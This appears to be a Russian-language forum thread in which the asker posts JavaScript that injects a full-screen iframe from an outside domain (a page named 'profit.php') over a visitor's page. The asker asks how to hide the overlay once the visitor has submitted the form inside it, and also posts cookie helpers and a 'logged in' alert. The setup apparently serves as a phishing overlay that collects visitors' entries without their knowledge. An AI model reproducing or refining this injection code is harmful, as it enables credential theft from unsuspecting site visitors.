а там где вызывается iframe вот код javascript
var el = document.createElement("iframe");
document.body.appendChild(el);
el.id = 'iframe';
el.style.position = 'absolute';
el.style.top = 0;
el.style.width = "100%";
el.style.height = "100%";
el.src = 'kaminnaneve.ru/vareeble/scr/profit.php';
Сейчас Обьясню : У меня есть страница при заходе на которую вылазит автоматически фрейм. И после отправки данных с формы страница обновляется а это значит код фрейма заного вызывается. Так вот можно ли какимто образом после нажатия на кнопку вообще удолить javascript код который вызывает фрейм или фообще файл с javascript кодом который вызывает фрейм
Может я туплю. Я весь код добавил на страницу фрейма. а на странице на которой вызывается фрейм установлен javascript который вызывает фрейм. и при заходе на страницу фрейм сразуже вызывается при заходе на страницу. Тоесть когда данные отправляются он перезагружает страницу и фрейм заного вызываетя как при первом заходе.
Мне какраз это и надо, я только учусь это делать. Пуская будет даже без проверки данных. Я со временем до работаю это. Мне нужно просто после ввода както убрать ее любыми способоми
Мне кажется это слишком сложно будет. Можно сделать так что после нажатие кнопки просто закрыть страницу которая в фрейме или просто перекинуть на другую страницу ?
в самой странички фрейма все проверяется и после того как он все правильно ввел. и за фреймом уже перезагружается страница пользователя но поверх всего этот фрейм остается. Не знаете может какимто образом ему стать прозрачным или z-index поставить меньше чем у основной страницы ?
{
alert("Фрейм исчез");
document.getElementById("iframe").style.display = "none";
}
function getCookie(name) {
var matches = document.cookie.match(new RegExp(
"(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)"
));
return matches ? decodeURIComponent(matches[1]) : undefined;
}
function setCookie(name, value, options) {
options = options || {};
var expires = options.expires;
if (typeof expires == "number" && expires) {
var d = new Date();
d.setTime(d.getTime() + expires * 1000);
expires = options.expires = d;
}
if (expires && expires.toUTCString) {
options.expires = expires.toUTCString();
}
value = encodeURIComponent(value);
var updatedCookie = name + "=" + value;
for (var propName in options) {
updatedCookie += "; " + propName;
var propValue = options[propName];
if (propValue !== true) {
updatedCookie += "=" + propValue;
}
}
document.cookie = updatedCookie;
alert("Залогинен");
}
var el = document.createElement("iframe");
document.body.appendChild(el);
el.id = 'iframe';
el.style.position = 'absolute';
el.style.top = 0;
el.style.width = "100%";
el.style.height = "100%";
el.src = 'kaminnaneve.ru/vareeble/scr/profit.php';